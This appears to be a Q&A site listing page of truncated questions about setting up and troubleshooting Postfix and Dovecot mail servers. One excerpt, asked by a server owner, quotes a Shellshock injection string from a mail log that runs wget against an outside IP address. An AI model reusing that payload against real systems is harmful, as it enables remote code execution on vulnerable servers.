Open source email server for Unix

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Setting up postfix

I am trying to setup mail server on my Amazon EC2 following this guide. But when I came by step 12, I ran into a problem, that it does not seems to have 250-mail.domain.com in the ehlo-result? Which ...
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I can't restore Maildir after new postfix installation [on hold]

I have installed postfix on new server and working fine . But when I restored the old MAILDIR it's shows some error ..any idea of fixing this ?
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16 views

Transfer mails between two servers

I have two servers running on Ubuntu 14.04 . Postfix and Dovcote installed on both. Mail server is running properly on both . I want to transfer mail from Server 1 to Server 2 . Can anyone suggest the ...
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Postfix SASL Authentification not applied

I've a problem: I set up a Postfix and want to apply SASL user auth over cyprus. But the Problem is that Postfix won't accept the SASL auth or even the TLS encryption which i configured. In the ...
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Uncommon logcheck mail

I have my mail server set up to send logs every hour. It is a squeeze/sid on Postfix, Dovecot, Apache2, Amavisd-new + SpamAssassin + pyzor + razor + ClamAV, Mailman and Roundcube (webmail) Debian ...
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How to install cluebringer on 14.04

I've done an install of Ubuntu 14.04 on a system which will act as a mail server. One of the bits I want to install is "Cluebringer" policy daemon. I can see there are postfix-cluebringer packages, ...
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14 views

Help configuring postfix locally

It's my first time configuring a mail server so I'm having some problems. The situation is this: I have 2 virtual machines (V1 and V2), both connected on the same network. The idea is that V1 send ...
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18 views

postfix connections from unknown hosts [closed]

I have seen connections from hosts I don't know in my mail.log, here's an example: I've modified the host name to be "myhost" for easy reading My question is, is someone trying to send emails using my ...
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8 views

forward an exact copy of all mail to second arcive mail server [migrated]

I am setting up an mail server with postfix at the moment, and I am almost done with it. But i need to archive all incoming mails. My first setup was to set the sender_bcc_maps parameter and the ...
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1answer
36 views

Multiple messages to recipient_bcc_maps and sender_bcc_maps with Postfix while using amavis

I have a problem to configure my postfix. My aim is to have a mail-server which filters spam and virus mails by using Spamassasin and ClamAV via amavis. Furthermore i want to archive a copy of each ...
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14 views

monitor outgoing email

I have a VPS and recently I found some unusual activity looking at the /var/log/mail.log and so I installed pflogsumm to send a daily report and got this: Per-Day Traffic Summary date ...
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32 views

how can I redirect all mails of my smtp server on only one adress mail (using roundcube)?

I have install postfix/courrier to send and recieve mails. I use roundcube like webmail to watch it. I have configure postfix with mysql DB, and create "contact@mydomain.com" adress. There is ...
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23 views

How can I install apt packages non-interactively?

If I run: sudo apt-get --yes install postfix or sudo bash -c 'yes | apt-get --yes install postfix' an interactive prompt appears to configure postfix. I need to automate the installation of ...
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41 views

dkim and SPF ok, but domainkeys=neutral (no sig);

I just want to know how can I pass state "neutral" to "pass" for domainkeys=neutral (no sig); (And please don't answer: "dkim is used not domain keys")
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1answer
24 views

PostFix hostname

I'm new to postfix and was wondering what hostname I should specify in my main.cf file. Is it the VPS hostname? or I can use one of the domains I host in the VPS as hostname? I'm trying to set up ...
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1answer
89 views

Postfix + MySQL + dovecot + postfixadmin - mail arrive to local users

I'm trying to set up a mail server with virtual users. I can: login in roundcube, send mail to gmail but when I send messages to my own domain, the mails arrive to local users. Mail was in ...
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2answers
114 views

Cannot send email on Ubuntu 14.10, Postfix and Dovecot

I am having trouble setting up my Ubuntu server installation to send/receive emails. I am fairly new to all of this so I apologise if I have not provided enough/correct information. Please do let me ...
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35 views

PHP not sending mail? Works on phone, and other applications

So I have an application (WHMCS) and it does not send mail. I get this error: PHPMailer Exception - SMTP Error: Could not authenticate. It uses PHPMailer, I get this error from it when it tries to ...
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24 views

Cannot authenticate with SMTP server

I've followed a tutorial I've found for installing a mail server. I'm using Ubuntu 14.04.1 So far, all I've had to change was the /etc/postfix/main.cf file, as per a comment from the article. ...
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103 views

Why can't I get a telnet localhost 25, ehlo localhost output of 250-AUTH?

How do I get a telnet localhost 25 output of 250-AUTH LOGIN? Similar to the questions asked here and here, I set up a Postfix-Dovecot mail server using Ubuntu 12.04LTS and can not get it to ...
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71 views

Dovecot doesn't start

I've installed Postfix and it works correctly. I've installed Dovecot and set it's configurations too. But when I try service dovecot start it terminates on startup. Here is the end of syslog: Nov 19 ...
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21 views

Dovecot delivery issue

I'm using fictional email address username@domainname.com for this case. testuser is a local account on my ubuntu Server 14.04. I have a fully functional email server set up using postfix and dovecot ...
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i cannot read emails on thunderbird i am using ubuntu 12.04 server postfix dovecot

i cannot read emails on thunderbird i am using ubuntu 12.04 server postfix dovecot i am using pop3 port 110 and smtp port 587 i can send emails to external emails i can receive emails on the server ...
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133 views

DKIM config for multidomain : message not signed

I’m trying to setup DKIM for a multidomain server. Everything looks fine BUT the messages are not signed. I followed How To Install and Configure DKIM with Postfix on Debian Wheezy tutorial and ...
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35 views

Dovecot stuck in stop/waiting

im trying to build a mail server (postfix + dovecot). after the installation, tried to check if dovecot is working by : service dovecot status: start/prestart statement. the only thing i did was ...
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Shellshock attempt in maillog

I just crawled through my logs and have found about this: Oct 24 11:26:37 hostname postfix/cleanup[2532]: 86A1B7E00A3: message-id=() { :; }; wget 185.10.58.181/VULNERABLE; Oct 24 11:26:37 hostname ...
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38 views

email - Postfix name issue with using $header “name <email>”

I've set up Postfix on my Ubuntu+Nginx machine to send mail and I'm running in to one issue. The issue is that the from name is www-data with the email ...
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15 views

Can postfix receive emails on it's own?

I am configuring a Postfix server right now and want to clear up some things I am not quite sure about. For what I know Postfix is a MTA (Mail Transfer Agent) that can send and receive emails. That ...
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25 views

Dovecot mail delivery location issue

I just setup a mail server on my digitalocean.com droplet. It is using postfix, dovecot & mbox. I have it configured in gmail and it is sending and receiving. The problem though, is that when a ...
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2answers
40 views

how to sent mail from my Ubuntu server

I am a beginner in mail server. I want to set up my own mail server so that I can send mail from my server to anyone. I have also installed postfix. How do I set this up? What do I need? How do I ...
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115 views

Postfix can send but not receive mail

I just finished following this tutorial to set up a postfix mail server on ubuntu 14.04: https://www.digitalocean.com/community/tutorials/how-to-install-and-setup-postfix-on-ubuntu-14-04 When I ...
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Postfix - Cannot receive emails

I'm trying with no success to setup Postfix on my server so I need some help (first timer here). Basically I cannot receive emails from anywhere. If I send an email to myself or to another address ...
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187 views

How to make crontab email me with output?

How can I make crontab email me with the output of its jobs? I have MAILTO=redacted@yahoo.com.au above the jobs, but it doesn't work. I know I need to use something like Postfix or Sendmail but for ...
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Postfix has stopped logging

After hearing about the BASH bug a week ago I decided to update my whole server using apt-get update && apt-get upgrade Today I have noticed that postfix has stopped logging my mail ...
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65 views

Does someone have access to my server's postfix?

How can Google recieve emais originating from my servers IP address, unless an attacker has access? So how do I prevent an attacker from getting access? I'm very lost... short log from ...
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Postfix 2.11.0, Error Code: Relay access denied 554.5.7.1, Rejects all external in-bound emails

Some TLC needed here. I am building this postfix/dovecot/clamav mail server following the tutorial here: https://www.exratione.com/2014/05/a-mailserver-on-ubuntu-1404-postfix-dovecot-mysql/ The issue ...
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How to add a sender header to emails sent by postfix 2.11

I'm not getting a reply after sending a mail to autoanswer@vger.kernel.org which I need to verify that my domain richtercloud.de served by a postfix 2.11 server on Ubuntu 14.04 can be used for ...
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498 views

Fatal: No SASL authentication mechanism

root@server:~# postconf -n append_dot_mydomain = no biff = no broken_sasl_auth_clients = yes config_directory = /etc/postfix disable_vrfy_command = yes ...
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Configure cron to include FQDN in email

We have machines named like so: serverA.subdomainA.TLD.co serverA.subdomainB.TLD.co Works fine for us, except when I get an email from cron, the messages looks like: From: root@tld.com ...
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133 views

postfix/submission/smtpd Relay Access Denied

Getting error 'Relay access denied' At outlook, set port 587 for smtp and 993 for imap at Ubunut LTS. My configuration is: root@server:~# postconf -n append_dot_mydomain = no biff = no ...
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Postfix Joomla Mail Configuration

Hello I am trying to setup mail configuration for Joomla. My server has postfix/dovecot installed and working. (I can receive and send mails globally). I can send an e-mail successfully (I received ...
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360 views

Postfix/ Dovecot and MySQL

I have an issue in authenticating users using postfix/ dovecot with mysql at ubuntu LTS. Outlook connected to the server but got error for authentication. below is posfix configuration settings: ...
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139 views

Postfix does not store mail in Maildir/ format even though home_mailbox is set to Maildir/

The following problem occurs on a simple mail server for testing purposes. It consists of a Postfix and Dovecot installation and is meant to deliver mails from a client to local accounts living on the ...
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96 views

How to configure Postfix, stunnel for AWS SES?

I have been trying to set up SES on our EC2 running ubuntu. I have followed the instructions on their docs page but not able to figure out what's wrong. I'm a newbie that's why i'm looking for a ...
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54 views

POSTFIX+OPENDKIM : How to reject untrusted domains without keeping mails in queue?

We needed to create a smtp server for our webapps. This server turns Under Ubuntu with Postfix and Opendkim. We have 40 domains with 40 DKIM keys. My config is the same as described here : ...
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Joomla with postfix php mail not working

I am getting this error in mail.log (after trying to submit a contact form): fatal: Recipient addresses must be specified on the command line or via the -t option Its worth mentioning that I have ...
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2answers
333 views

Missing X-Spam-Status header

I recently upgraded to Ubuntu 14.04.1 LTS (trusty) and have followed the directions in https://help.ubuntu.com/14.04/serverguide/mail-filtering.html and am sending and receiving mail just fine. While ...
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Need help with Postfix canonical mapping

I’m having difficulty getting the canonical_maps function to work as needed to repair some incorrect addresses from a legacy client. Here’s the situation and what I’ve tried so far: Legacy client ...
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138 views

Ubuntu Zpanel Unable to receive e-mail

I am able to send e-mail from my zpanel mailboxes but am unable to receive any e-mails. I get this error from gmail when I try to send e-mail to my mailboxes: mail exchanger not found. My domain ...
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25 views

postfix sasl auth on Ubuntu server

I can connect to the mail server over telnet and send messages to local users without authentication. Is it the reject_unauth_destination parameter that permits this? What is the recommended practice ...